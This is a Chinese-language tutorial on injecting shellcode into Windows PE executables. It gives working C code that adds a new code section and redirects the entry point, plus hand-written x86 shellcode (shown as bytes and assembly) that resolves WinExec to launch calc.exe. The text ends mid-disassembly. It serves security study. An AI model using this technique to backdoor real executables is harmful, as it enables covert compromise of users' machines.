PE 文件注入


PE injection

PE 文件注入是軟件安全的基本功,目的是向 PE 文件中注入一段 shellcode。
注入的手段一半有兩種:

  • 尋找最大的代碼空白,cave mine,將 shellcode 寫入 cave 中。這種方式比較方便,缺點是只適合較小的 shellcode,windows 上的 shellcode 要比 linux 上的 shellcode 大許多,這種方式的泛用性不高。
  • 新增 PE 節,這種方式修改 PE 文件的節頭表和節,可以插入任意大小的 shellcode。

PE 文件注入主要包括兩個方面:

  • 編寫 shellcode
  • 注入 shellcode

注入 shellcode 相對比較簡單,下面介紹新增 PE 節實現 PE 注入的方法。

x86 PE 文件布局

如果不了解 PE 文件的布局,需要先了解一下 PE 文件相關數據結構和整體布局。

俗話說,一圖勝千言,下面是一張關於 PE 文件結構的圖片,繪制了一個簡易 PE 文件的結構。如果對 PE 文件的結構不了解,建議仔細查看。

Pe101

上半部分繪制了 PE 文件的結構,下半部分簡述了 PE 文件的加載過程。

了解了基本的 PE 文件布局,下面是一張有關 PE 文件引入表、引出表、資源節和其他節的圖片。

Pe102

繪制了大部分的 PE 文件結構,如果對於哪一部分不了解,可以查看相關說明。

PE 文件解析

在對 PE 文件進行修改之前,最好對 PE 文件進行解析。關於 PE 文件解析的開源庫有許多,功能也比較豐富,比如基於 c++ 的 libpeconv,基於 python 的 pymem 等等。以學習 PE 文件結構為目的,這里實現了一個最基礎的 PE 解析功能。

PE 結構體定義

首先定義一個 PE 文件結構體

typedef struct _PE_file {
	BYTE* innerBuffer;
	PIMAGE_DOS_HEADER pimageDOSHeader;
	PIMAGE_NT_HEADERS pimageNTHeaders;
	PIMAGE_SECTION_HEADER ppimageSectionHeader[MAX_SECTIONS];
	DWORD fileSize;
	BYTE* ppsection[MAX_SECTIONS];
} PE_file;

PE 文件的解析分為兩個步驟,第一步將 PE 文件原始數據讀入內存中。第二步解析內存中的數據。

自上而下設計 PE 文件解析函數,首先將 PE 文件讀入內存中,隨后解析 DOS Header,NT Headers以及Sections。

void _PEParse(PE_file* ppeFile) {
	DBG("parsing DOS Header...\n");
	parseDOSHeader(ppeFile);
	DBG("parsing NT headers...\n");
	parseNTHeaders(ppeFile);
	DBG("parsing section headers...\n");
	parseSections(ppeFile);
	DBG("parsing finished...\n");
}

void PEParse(PE_file *ppeFile, FILE *file) {
	readToInnerBuffer(ppeFile, file);
	_PEParse(ppeFile);
}

這種設計方式的優點是可以靈活地調用解析 PE 文件的部分結構。

將 PE 讀入內存中

將文件讀入內存的方式有許多。比如利用 MapViewOfFile + memcpy 的方式讀入文件,可以將文件內容映射到對應的進程內存空間中,這種方式對於大文件的讀取十分高效,原理涉及到了 windows 操作系統的相關機制,還不太了解。也可以利用 c 標准中的 fread 函數實現,這種方式的優點是和 linux 平台接口統一。

void readToInnerBuffer(PE_file* ppeFile, FILE* file) {
	// save PE to inner buffer
	fseek(file, 0, SEEK_END);
	long fileSize = ftell(file);
	ppeFile->fileSize = fileSize;
	ppeFile->innerBuffer = (char*)malloc(fileSize * sizeof(char));
	if (ppeFile->innerBuffer == NULL) {
		perror("malloc");
		exit(EXIT_FAILURE);
	}
	fseek(file, 0, SEEK_SET);
	fread(ppeFile->innerBuffer, 1, fileSize, file);
	fclose(file);
}

這里使用了 malloc 在進程的堆上申請空間,在 libpeconv 中使用 VirtualAlloc 在調用進程中申請虛擬頁空間,微軟文檔為 VirtualAlloc 的描述如下:

Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero.

我對於 Windows API 基本上沒有概念,所以使用 malloc 在堆上進行內存分配,分配的空間被 Windows 初始化為 0xcd,這一點與 GCC 是不一樣的,需要注意一下。

解析 Headers 和 Sections

解析 PE Headers 和 Sections 的代碼邏輯非常簡單,將定義的 PE 文件的結構體內部的指針指向 innerBuffer 中對應位置即可。

void parseDOSHeader(PE_file* ppeFile) {
	ppeFile->pimageDOSHeader = (PIMAGE_DOS_HEADER)ppeFile->innerBuffer;
	if (ppeFile->pimageDOSHeader->e_magic != IMAGE_DOS_SIGNATURE) {
		fprintf(stderr, "invalid DOS magic: %x", ppeFile->pimageDOSHeader->e_magic);
		exit(EXIT_FAILURE);
	}
}

void parseNTHeaders(PE_file* ppeFile) {
	ppeFile->pimageNTHeaders = (PIMAGE_NT_HEADERS)((int)ppeFile->innerBuffer + ppeFile->pimageDOSHeader->e_lfanew);
	if (ppeFile->pimageNTHeaders->Signature != IMAGE_NT_SIGNATURE) {
		fprintf(stderr, "invalid NT headers signature: %x", ppeFile->pimageNTHeaders->Signature);
		exit(EXIT_FAILURE);
	}
	if (ppeFile->pimageNTHeaders->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR_MAGIC) {
		fprintf(stderr, "invalid Optional headers magic: %x", ppeFile->pimageNTHeaders->OptionalHeader.Magic);
		exit(EXIT_FAILURE);
	}
}

void parseSections(PE_file* ppeFile) {
	size_t sectionNumbers = getSectionNumbers(ppeFile);
	void* sectionHeadersBase = (void*)((int)getSectionHeadersOffset(ppeFile) + (int)ppeFile->innerBuffer);
	for (size_t i = 0; i < sectionNumbers; i++) {
		ppeFile->ppimageSectionHeader[i] = (PIMAGE_SECTION_HEADER)sectionHeadersBase + i;
	}
	for (size_t i = 0; i < sectionNumbers; i++) {
		void* sectionBase = (void*)((int)ppeFile->ppimageSectionHeader[i]->PointerToRawData + (int)ppeFile->innerBuffer);
		ppeFile->ppsection[i] = sectionBase;
	}
}

至此,PE文件的解析已經完成,以后可以利用 PE 文件結構體中數據結構操縱 PE 文件。為了后續處理方便,比如需要保存 PE 文件,釋放 PE 文件等,所以也編寫了對應的代碼。

void PESave(PE_file* pefile, char* savePath) {
	FILE* fp;
	fopen_s(&fp, savePath, "wb");
	if (fp == NULL) {
		perror("fopen_s");
		exit(EXIT_FAILURE);
	}
	fwrite(pefile->innerBuffer, 1, pefile->fileSize, fp);
	fclose(fp);
}

void PEFree(PE_file* pefile) {
	free(pefile->innerBuffer);
}

向 PE 中插入新節

向 PE 文件中新增節的流程總結:

  • 根據當前節表布局,計算新增節的 PointerToRaw
  • 復制新節內容到對應地址
  • 計算新節的相關參數,添加新節頭
  • 修改 FileHeader 中的 NumberOfSections
  • 修改 OptionalHeader 中的 SizeOfImage

代碼實現的思路:

設計插入新節的函數

首先大概設計出函數的定義

void insertNewCodeSection(PE_file* ppefile, BYTE* code, DWORD codeSize);

這個函數接受參數為 PE 文件、新增節內容、新增節大小。

根據前面的設計,PE 文件的內容保存在通過 malloc 分配的 innerBuffer 里面,新增節需要修改文件的大小,也就是要修改 innerBuffer 的大小,可以使用 realloc 修改 innerBuffer 的大小。大小修改為多少呢?這個值是 codeSize 使用 FileAlignment 對齊后的大小。

系統在加載 PE 文件前可能會根據 FileAlignment 和所有節的 rawSize 檢查 PE 文件的大小,如果 PE 文件大小小於 PointerToRaw + rawSize,那么這個節在映射到內存時就會出錯,因此不能通過系統檢查。

void insertNewCodeSection(PE_file* ppefile, BYTE* code, DWORD codeSize) {
	size_t fileAlignment = ppefile->pimageNTHeaders->OptionalHeader.FileAlignment;
	size_t sectionAlignment = ppefile->pimageNTHeaders->OptionalHeader.SectionAlignment;
	size_t rawSize = CEIL(codeSize, fileAlignment) * fileAlignment;
	size_t codeSizeAligned = CEIL(codeSize, sectionAlignment) * sectionAlignment;
	size_t sectionNumbers = getSectionNumbers(ppefile);

計算新節的屬性

下一步需要計算新增節的 VirtualAddress 和 PointerToRaw,VirtualAddress 是節被加載到內存時的 RVA,可以將新增節設計在最后一個節的后面,在這種情況下,新增節的 VirtualAddress 等於最后一個節的 VirtualAddress 加上最后一個節的 VirtualSize(使用 SectionAlignment 對齊)。

PointerToRaw 的計算與 VirtualAddress 類似,新增節的 PointerToRaw 等於最后一個節的 PointerToRaw 加上最后一個節的 rawSize(使用 FileAlignment 對齊)

	DWORD destVirtualAddr = ppefile->ppimageSectionHeader[sectionNumbers - 1]->VirtualAddress +
		CEIL(ppefile->ppimageSectionHeader[sectionNumbers - 1]->Misc.VirtualSize, sectionAlignment) *
		sectionAlignment;
	DWORD pointerToRawData = ppefile->ppimageSectionHeader[sectionNumbers - 1]->PointerToRawData +
		ppefile->ppimageSectionHeader[sectionNumbers - 1]->SizeOfRawData;

到這里我們已經獲取了新增節的所有屬性,下面定義新增節頭結構體:

	IMAGE_SECTION_HEADER hdr = {
		.Name = {'.', 'n', 'e', 'w', 0, 0, 0, 0},
		.Misc.VirtualSize = rawSize,
		.VirtualAddress = destVirtualAddr,
		.SizeOfRawData = rawSize,
		.PointerToRawData = pointerToRawData,
		.PointerToRelocations = 0,
		.PointerToLinenumbers = 0,
		.NumberOfLinenumbers = 0,
		.NumberOfRelocations = 0,
		.Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE| IMAGE_SCN_MEM_READ
	};

新節的名字為 .new,新節的屬性設置和 code 節相同。

插入新節的節頭

下面將新節頭插入 PE 文件中

void insertNewSectionHeader(PE_file* ppefile, PIMAGE_SECTION_HEADER phdr) {
	DWORD destOffset = getSectionHeadersOffset(ppefile)
		+ getSectionNumbers(ppefile) * sizeof(IMAGE_SECTION_HEADER);
	BYTE* destAddr = ppefile->innerBuffer + destOffset;
	if (destOffset + sizeof(IMAGE_SECTION_HEADER) > ppefile->pimageNTHeaders->OptionalHeader.SizeOfHeaders) {
		fprintf(stderr, "addr out of limit\n");
		exit(EXIT_FAILURE);
	}
	memcpy(destAddr, phdr, sizeof(IMAGE_SECTION_HEADER));
	ppefile->ppimageSectionHeader[getSectionNumbers(ppefile)] = (PIMAGE_SECTION_HEADER)destAddr;
	ppefile->pimageNTHeaders->FileHeader.NumberOfSections += 1;
}

接下來剩下將新節內容復制到對應區域,使用 realloc 擴大 innerBuffer

	BYTE* oldBuffer = ppefile->innerBuffer;
	ppefile->innerBuffer = realloc(ppefile->innerBuffer, ppefile->fileSize + rawSize);
	if (ppefile->innerBuffer == NULL) {
		perror("realloc");
		exit(EXIT_FAILURE);
	}
	if (ppefile->innerBuffer != oldBuffer) {
		DBG("reparsing...\n");
		_PEParse(ppefile);
	}
	memset(ppefile->innerBuffer + ppefile->fileSize, 0, rawSize);
	memcpy(ppefile->innerBuffer + ppefile->fileSize, code, codeSize);

保存舊的 innerBuffer 指針,如果 innerBuffer 的值發生改變,說明系統重新分配了空間。那么 PE 結構體中的指針也需要重新解析。

最后修改文件大小和 OptionalHeader 的 SizeOfImage。

	ppefile->fileSize += rawSize;
	ppefile->pimageNTHeaders->OptionalHeader.SizeOfImage += codeSizeAligned;
	DBG("insert finished, reparsing sections...\n");
	parseSections(ppefile);

codeSizeAligned 時 code 使用 sectionAlignment 的大小,因為 SizeOfImage 是 PE 文件加載到內存中的大小。

測試新增節的代碼

PE 新增節的代碼到這里就結束了,下面對這段代碼進行測試。

int main(int ac, const char **av) {
	if (ac < 2) {
		printf("usage: %s [filename]\n", av[0]);
		exit(0);
	}
	FILE* file = fopen(av[1], "rb");
	if (file == NULL) {
		fprintf(stderr, "%s: No such file or directory\n", av[1]);
		exit(EXIT_FAILURE);
	}
	PE_file pefile;
	PEParse(&pefile, file);

	printf("MZ signature:\t%x\n", pefile.pimageDOSHeader->e_magic);
	printf("ImageBase:\t%08x\n", getImageBase(&pefile));
	printf("EntryPoint:\t%08x\n", getEntryPoint(&pefile));
	printf("%-8s%-8s\n", "Name", "RVA");
	for (size_t i = 0; i < pefile.pimageNTHeaders->FileHeader.NumberOfSections; i++) {
		printf("%-8s%08x\n",
			pefile.ppimageSectionHeader[i]->Name, pefile.ppimageSectionHeader[i]->VirtualAddress);
	}
	int index;
	DWORD caveSize = findLargestCave(&pefile, &index);
	printf("largest cave: %s, cave size: %08x\n", pefile.ppimageSectionHeader[index]->Name, caveSize);
	
	insertNewCodeSection(&pefile, sc, 200);
	DWORD newEntryPoint =
		pefile.ppimageSectionHeader[pefile.pimageNTHeaders->FileHeader.NumberOfSections - 1]->VirtualAddress;
	pefile.pimageNTHeaders->OptionalHeader.AddressOfEntryPoint = newEntryPoint;
	printf("change Adress of Entry Point to %x\n", newEntryPoint);
	printf("%-8s%-8s\n", "Name", "RVA");
	for (size_t i = 0; i < pefile.pimageNTHeaders->FileHeader.NumberOfSections; i++) {
		printf("%-8s%08x\n",
			pefile.ppimageSectionHeader[i]->Name, pefile.ppimageSectionHeader[i]->VirtualAddress);
	}
	PESave(&pefile, "./new_pe.exe");
	fclose(file);
	PEFree(&pefile);
}

測試代碼打印了一部分 PE 文件參數,然后注入了一段 shellcode,並且修改程序入口點為 shellcode。

注入的 shellcode 如下,功能是調出計算器程序。

unsigned char sc[] = 
"\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";

選取 PEView.exe 為測試對象,可以看到如下的輸出結果:

parsing DOS Header...
parsing NT headers...
parsing section headers...
parsing finished...
MZ signature:   5a4d
ImageBase:      00400000
EntryPoint:     00001000
Name    RVA
code    00001000
data    0000a000
const   0000c000
.rsrc   00010000
.idata  00014000
largest cave: code, cave size: 00000ef0
parsing DOS Header...
parsing NT headers...
parsing section headers...
parsing finished...
reparsing...
parsing DOS Header...
parsing NT headers...
parsing section headers...
parsing finished...
insert finished, reparsing sections...
change Adress of Entry Point to 15000
Name    RVA
code    00001000
data    0000a000
const   0000c000
.rsrc   00010000
.idata  00014000
.new    00015000

可以看到新插入的節,名字為 .new,RVA 為 0x00015000。同時,打開 new_pe.exe,就會彈出計算器。

編寫 shellcode

手動編寫 shellcode

在了解如何從 PE 文件自動生成 shellcode 之前,有必要了解一下如何手動編寫 shellcode。

這里只說明如何編寫 x86 32bit shellcode。在 windows 上編寫 shellcode 要比 linux 麻煩許多,下面會看到這一點。首先需要對 Windows 的架構有一個基礎的了解,可以看下面的圖片,分界線上面的都在用戶空間中,下面的都是內核空間中。

Windows 系統架構

Windows Architecture

圖片鏈接:deeper-into-windows-architecture

Windows 中,進程不能直接訪問系統調用,進程通過調用 WinAPIWinAPI 從內部調用 Native API(NtAPI),最后訪問系統調用。NtAPI 的文檔沒有被公開,在 ntdll.dll 中實現,在用戶空間抽象層的最底層。

WinAPI 中被公開文檔的函數儲存在 kernel32.dll, advapi32.dll, gdi32.dll 等 dll 里面。其中,像文件系統、進程、設備等基礎服務相關函數都在 kernel32.dll 中。

在 Windows 中寫 shellcode,需要利用 WinAPI 或者 NtAPI。有希望的是,每一個進程都會引入 ntdll.dllkernel32.dll

可以使用 SystemInternals Suite 中的 ListDlls 查看 PE 導入的 DLL 文件,查看 explorer.exe 導入的 DLL 文件:

Explorer Exe Dlls

查看 notepad.exe 導入的 DLL 文件

Notepad Exe Dlls

可以編寫一個簡單的程序,只有一個死循環,查看它引入了哪些 DLL 文件。

format PE console
use32
entry start
    start:
        jmp $

使用 fasm 進行編譯,運行之后使用 ListDLLs 查看

Nothing Exe Dlls

可以發現,最簡單的程序也引入了 Kernel32.dllntdll.dll,並且 DLL 文件的地址是相同的。這是因為系統保留了一片內存加載這些 DLL 文件,當進程需要時就用指針或者句柄的方式引用。不同的機器上地址不同,並且隨着每一次開機變化。

下面編寫一個使用 WinExec 函數運行 calc.exeshellcode,即上面測試過程中用到的 shellcodeWinExec 有兩個參數,由 kernel32.dll 導出。

查找 DLL 地址

TEB 是 Windows 系統中每一個線程都有的結構,儲存線程的信息,FS 段寄存器存放着 TEB 的地址。

TEB 中有一個成員是指向 PEB 的指針,PEB 中存放着進程相關信息。TEB+0x30 存放指向 PEB 的指針。

PEB+0x0c 存放着指向 PEB_LDR_DATA 的指針,這個結構存放着已經加載的 DLL 的信息。

typedef struct _PEB_LDR_DATA
{
     ULONG Length;
     UCHAR Initialized;
     PVOID SsHandle;
     LIST_ENTRY InLoadOrderModuleList;
     LIST_ENTRY InMemoryOrderModuleList;
     LIST_ENTRY InInitializationOrderModuleList;
     PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

從結構體的定義可以看到,PEB_LDR_DATA 存放着三個雙向鏈表。

  • InInitializationOrderModuleList 按照初始化的順序存放 DLL 信息。
  • InMemoryOrderModuleList 按照在內存中出現的順序存放 DLL 信息。

Vista 之前,InInitializationOrderModuleList 前兩個 DLL 分別為 ntdll.dllkernel32.dllVista 之后,第二個 DLL 變為了 kernelbase.dll

InMemoryOrderModuleList 中,第二個和第三個 DLL 分別為 ntdll.dllkernel32.dll,對於目前的 Windows 系統都適用。

InMemoryOrderModuleList 存放在偏移量為 0x14 的位置上,
DLL 地址在 LIST_ENTRY 偏移量為 0x10 的位置上。

因此,查找 kernel32.dll 的地址的步驟總結如下:

  • fs:0x30 獲取 PEB 的地址
  • 獲取 PEB_LDR_DATA 的地址(偏移量 0x0c)
  • 獲取 InMemoryOrderModuleList 的地址(偏移量 0x14)
  • 獲取第二個 LIST_ENTRY(ntdll.dll) 的地址(偏移量 0x00)
  • 獲取第三個 LIST_ENTRY(kernel32.dll) 的地址(偏移量 0x00)
  • 獲取 kernel32.dll 的地址(偏移量 0x10)

使用匯編編寫代碼如下:

    mov ebx, [fs:0x30]        ; &PEB
    mov ebx, [ebx + 0x0c]   ; &PEB_LDR_DATA
    mov ebx, [ebx + 0x14]   ; &InMemoryModuleList
    mov ebx, [ebx]          ; InMemoryOrderModuleList->next(ntdll.dll)
    mov ebx, [ebx]          ; InMemoryOrderModuleList->next->next(kernel32.dll)
    mov ebx, [ebx + 0x10]   ; InMemoryOrderModuleList->next->next->base

下面的圖可以幫助理解這個過程。

Locate Dll

如果要執行 shellcode ,或者單步解釋執行匯編語言,推薦使用 WinREPL

Winrepl

查找函數地址

現在已經得到了 kernel32.dll 的基址,現在來找 WinExec 函數的地址。如果對於函數的引入引出機制非常了解的話,下面的步驟很快就可以理解。建議首先熟悉以下函數的引入引出機制。

現在,kernel32.dll 被加載入內存中。下面就可以使用 RVA 來查找相關結構。

  • RVA=0x3c 位置存放 PE SignatureRVA,值應當是 0x5045
  • PE Signature 偏移 0x78 字節的位置存放 Export TableRVA
  • Export Table 偏移 0x14 字節的位置存放導出函數的數目。
  • Export Table 偏移 0x1c 的位置存放 Address TableRVA,存放導出函數的函數地址。
  • Export Table 偏移 0x20 的位置存放 Name Pointer TableRVA,存放導出函數名字字符串的指針。
  • Export Table 偏移 0x24 的位置存放 Ordinal TableRVA,存放導出函數的序號。

查找 WinExec 函數地址的過程:

  1. 查找 PE SignatureRVA。(base address + 0x3c)
  2. 查找 PE Signature 的地址。(base address + RVA of PE Signature)
  3. 查找 Export TableRVA。(address of PE Signature + 0x78)
  4. 查找 Export Table 的地址。(base address + RVA of Export Table)
  5. 查找導出函數的數目。(address of Export Table + 0x14)
  6. 查找 Address TableRVA。(address of Export Table + 0x1c)
  7. 查找 Address Table 的地址。(base address + RVA of Address Table)
  8. 查找 Name Pointer TableRVA。(address of Export Table + 0x20)
  9. 查找 Name Pointer Table 的地址。(base address + RVA of Name Pointer Table)
  10. 查找 Ordinal TableRVA。(address of Export Table + 0x24)
  11. 查找 Ordinal Table 的地址。(base address + RVA of Ordinal Table)
  12. 遍歷 Name Pointer Table,與 WinExec 比較並保存位置。
  13. Ordinal Table 中查找 WinExec 的序號。(address of Ordinal Table + 2 * position),Ordinal Table 每個表項 2 個字節。
  14. Address Table 中查找 WinExec 的地址。(address of Address Table + 4 * ordinal),Address Table 每個表項 4 個字節。
  15. 查找函數的地址。(base address + function RVA)

如果還是不太理解,可以仔細看一看下面的動圖。

Locate Function1

還有在 PEView 中模擬上面的過程的動圖。

Locate Function2

理解了整個過程之后,使用匯編代碼實現:

start:
    ; establish a new stack frame
    push ebp
    mov ebp, esp

    sub esp, 0x18           ; alloc for local variables
    
    xor esi, esi
    push esi                ; null terminated
    push 0x63
    push 0x6578
    push 0x456e6957
    mov [ebp - 4], esp      ; var4 = "WinExec\x00"

    ; find kernel32.dll
    mov ebx, [fs:0x30]       ; &PEB
    mov ebx, [ebx + 0x0c]   ; &PEB_LDR_DATA
    mov ebx, [ebx + 0x14]   ; &InMemoryModuleList
    mov ebx, [ebx]          ; InMemoryOrderModuleList->next(ntdll.dll)
    mov ebx, [ebx]          ; InMemoryOrderModuleList->next->next(kernel32.dll)
    mov ebx, [ebx + 0x10]   ; InMemoryOrderModuleList->next->next->base
    mov [ebp - 8], ebx      ; var8 = kernel32.dll base address

    ; find WinExec Address
    mov eax, [ebx + 0x3c]   ; RVA of PE signature
    add eax, ebx            ; Address of PE signature
    mov eax, [eax + 0x78]   ; RVA of Export Table
    add eax, ebx            ; Address of Export Table

    mov ecx, [eax + 0x24]   ; RVA of Ordinal Table
    add ecx, ebx            ; address of Ordinal Table
    mov [ebp - 0x0c], ecx   ; var12 = address of Ordinal Table

    mov edi, [eax + 0x20]   ; RVA of Name Pointer Table
    add edi, ebx            ; address of Name Pointer Table
    mov [ebp - 0x10], edi   ; var16 = address of Name Pointer Table

    mov edx, [eax + 0x1c]   ; RVA of Address Table
    add edx, ebx            ; Address of Address Table
    mov [ebp - 0x14], edx   ; var20 = address of Address Table

    mov edx, [eax + 0x14]   ; Number of exported functions

    xor eax, eax            ; counter = 0
.loop:
    mov edi, [ebp - 0x10]   ; edi = var16 = address of Name Pointer Table
    mov esi, [ebp - 4]      ; esi = var4 = "WinExec\x00"
    xor ecx, ecx

    cld                     ; set DF = 0 process string left to right
    mov edi, [edi + eax * 4]; Entry of Name Pointer Table is 4 bytes long

    add edi, ebx            ; address of string
    add cx, 8               ; length to compare
    repe cmpsb              ; compare first 8 bytes in
                            ; esi and edi. ZF=1 if equal, ZF=0 if not
    jz start.found

    inc eax                 ; counter++
    cmp eax, edx            ; check if last function is reached
    jb start.loop

    add esp, 0x26
    jmp start.end           ; not found, jmp to end
.found:
    ;  eax holds the position
    mov ecx, [ebp - 0x0c]   ; ecx = var12 = address of Ordinal Table
    mov edx, [ebp - 0x14]   ; edx = var20 = address of Address Table

    mov ax, [ecx + eax * 2] ; ax = ordinal number
    mov eax, [edx + eax * 4]; eax = RVA of function
    add eax, ebx            ; eax = address of fuction
    add esp, 0x26           ; clear the stack

.end:
    pop ebp
    ret

調用函數

找到函數地址之后,准備函數參數並調用。匯編代碼:

    ; call function
    xor edx, edx
    push edx		        ; null termination
    push 6578652eh
    push 636c6163h
    push 5c32336dh
    push 65747379h
    push 535c7377h
    push 6f646e69h
    push 575c3a43h
    mov esi, esp            ; esi -> "C:\Windows\System32\calc.exe"
    
    push 10                 ; window state SW_SHOWDEFAULT
    push esi                ; "C:\Windows\System32\calc.exe"
    call eax                ; WinExec

調整 shellcode

目前的 shellcode 基本上已經寫完了,整體如下:

format PE console
use32
entry start
start:
    ; establish a new stack frame
    pushad
    push ebp
    mov ebp, esp

    sub esp, 0x18           ; alloc for local variables
    
    xor esi, esi
    push esi                ; null terminated
    push 0x63
    pushw 0x6578
    push 0x456e6957
    mov [ebp - 4], esp      ; var4 = "WinExec\x00"

    ; find kernel32.dll
    mov ebx, [fs:0x30]
    mov ebx, [ebx + 0x0c]   ; &PEB_LDR_DATA
    mov ebx, [ebx + 0x14]   ; &InMemoryModuleList
    mov ebx, [ebx]          ; InMemoryOrderModuleList->next(ntdll.dll)
    mov ebx, [ebx]          ; InMemoryOrderModuleList->next->next(kernel32.dll)
    mov ebx, [ebx + 0x10]   ; InMemoryOrderModuleList->next->next->base
    mov [ebp - 8], ebx      ; var8 = kernel32.dll base address

    ; find WinExec Address
    mov eax, [ebx + 0x3c]   ; RVA of PE signature
    add eax, ebx            ; Address of PE signature
    mov eax, [eax + 0x78]   ; RVA of Export Table
    add eax, ebx            ; Address of Export Table

    mov ecx, [eax + 0x24]   ; RVA of Ordinal Table
    add ecx, ebx            ; address of Ordinal Table
    mov [ebp - 0x0c], ecx   ; var12 = address of Ordinal Table

    mov edi, [eax + 0x20]   ; RVA of Name Pointer Table
    add edi, ebx            ; address of Name Pointer Table
    mov [ebp - 0x10], edi   ; var16 = address of Name Pointer Table

    mov edx, [eax + 0x1c]   ; RVA of Address Table
    add edx, ebx            ; Address of Address Table
    mov [ebp - 0x14], edx   ; var20 = address of Address Table

    mov edx, [eax + 0x14]   ; Number of exported functions

    xor eax, eax            ; counter = 0
.loop:
    mov edi, [ebp - 0x10]   ; edi = var16 = address of Name Pointer Table
    mov esi, [ebp - 4]      ; esi = var4 = "WinExec\x00"
    xor ecx, ecx

    cld                     ; set DF = 0 process string left to right
    mov edi, [edi + eax * 4]; Entry of Name Pointer Table is 4 bytes long

    add edi, ebx            ; address of string
    add cx, 8               ; length to compare
    repe cmpsb              ; compare first 8 bytes in
                            ; esi and edi. ZF=1 if equal, ZF=0 if not
    jz start.found

    inc eax                 ; counter++
    cmp eax, edx            ; check if last function is reached
    jb start.loop

    add esp, 0x26
    jmp start.end           ; not found, jmp to end
.found:
    ;  eax holds the position
    mov ecx, [ebp - 0x0c]   ; ecx = var12 = address of Ordinal Table
    mov edx, [ebp - 0x14]   ; edx = var20 = address of Address Table

    mov ax, [ecx + eax * 2] ; ax = ordinal number
    mov eax, [edx + eax * 4]; eax = RVA of function
    add eax, ebx            ; eax = address of fuction
    ; call function
    xor edx, edx
    push edx		        ; null termination
    push 6578652eh
    push 636c6163h
    push 5c32336dh
    push 65747379h
    push 535c7377h
    push 6f646e69h
    push 575c3a43h
    mov esi, esp            ; esi -> "C:\Windows\System32\calc.exe"
    
    push 10                 ; window state SW_SHOWDEFAULT
    push esi                ; "C:\Windows\System32\calc.exe"
    call eax                ; WinExec
    add esp, 0x46           ; clear the stack

.end:
    pop ebp
    popad
    ret

到這里 shellcode 已經可以編譯運行了,使用 fasm 進行編譯

fasm shellcode.asm shellcode.exe

運行 shellcode,可以看到成功彈出計算器。

如果對於整個過程還有不理解的地方,可以在 x32dbg 中動態調試 shellcode。

想2dbg Shellcode

問題 1 shellcode 壞字符

使用 objdump 反匯編 shellcode.exe

objdump -d -M intel shellcode.exe

結果:

PS C:\Users\way\source\repos\PEinjection\PEinjection> objdump.exe -d -M intel .\shellcode.exe

.\shellcode.exe:     file format pei-i386      


Disassembly of section .flat:

00401000 <.flat>:
  401000:       60                      pusha  
  401001:       55                      push   ebp    
  401002:       89 e5                   mov    ebp,esp
  401004:       83 ec 18                sub    esp,0x18
  401007:       31 f6                   xor    esi,esi 
  401009:       56                      push   esi   
  40100a:       6a 63                   push   0x63  
  40100c:       66 68 78 65             pushw  0x6578
  401010:       68 57 69 6e 45          push   0x456e6957 
  401015:       89 65 fc                mov    DWORD PTR [ebp-0x4],esp
  401018:       64 8b 1d 30 00 00 00    mov    ebx,DWORD PTR fs:0x30  
  40101f:       8b 5b 0c                mov    ebx,DWORD PTR [ebx+0xc]
  401022:       8b 5b 14                mov    ebx,DWORD PTR [ebx+0x14]
  401025:       8b 1b                   mov    ebx,DWORD PTR [ebx]     
  401027:       8b 1b                   mov    ebx,DWORD PTR [ebx]     
  401029:       8b 5b 10                mov    ebx,DWORD PTR [ebx+0x10]
  40102c:       89 5d f8                mov    DWORD PTR [ebp-0x8],ebx
  40102f:       8b 43 3c                mov    eax,DWORD PTR [ebx+0x3c]
  401032:       01 d8                   add    eax,ebx
  401034:       8b 40 78                mov    eax,DWORD PTR [eax+0x78]
  401037:       01 d8                   add    eax,ebx
  401039:       8b 48 24                mov    ecx,DWORD PTR [eax+0x24]
  40103c:       01 d9                   add    ecx,ebx
  40103e:       89 4d f4                mov    DWORD PTR [ebp-0xc],ecx
  401041:       8b 78 20                mov    edi,DWORD PTR [eax+0x20]
  401044:       01 df                   add    edi,ebx
  401046:       89 7d f0                mov    DWORD PTR [ebp-0x10],edi
  401049:       8b 50 1c                mov    edx,DWORD PTR [eax+0x1c]
  40104c:       01 da                   add    edx,ebx
  40104e:       89 55 ec                mov    DWORD PTR [ebp-0x14],edx
  401051:       8b 50 14                mov    edx,DWORD PTR [eax+0x14]
  401054:       31 c0                   xor    eax,eax
  401056:       8b 7d f0                mov    edi,DWORD PTR [ebp-0x10]
  401059:       8b 75 fc                mov    esi,DWORD PTR [ebp-0x4]
  40105c:       31 c9                   xor    ecx,ecx
  40105e:       fc                      cld    
  40105f:       8b 3c 87                mov    edi,DWORD PTR [edi+eax*4]
  401062:       01 df                   add    edi,ebx
  401064:       66 83 c1 08             add    cx,0x8
  401068:       f3 a6                   repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
  40106a:       74 0a                   je     0x401076
  40106c:       40                      inc    eax
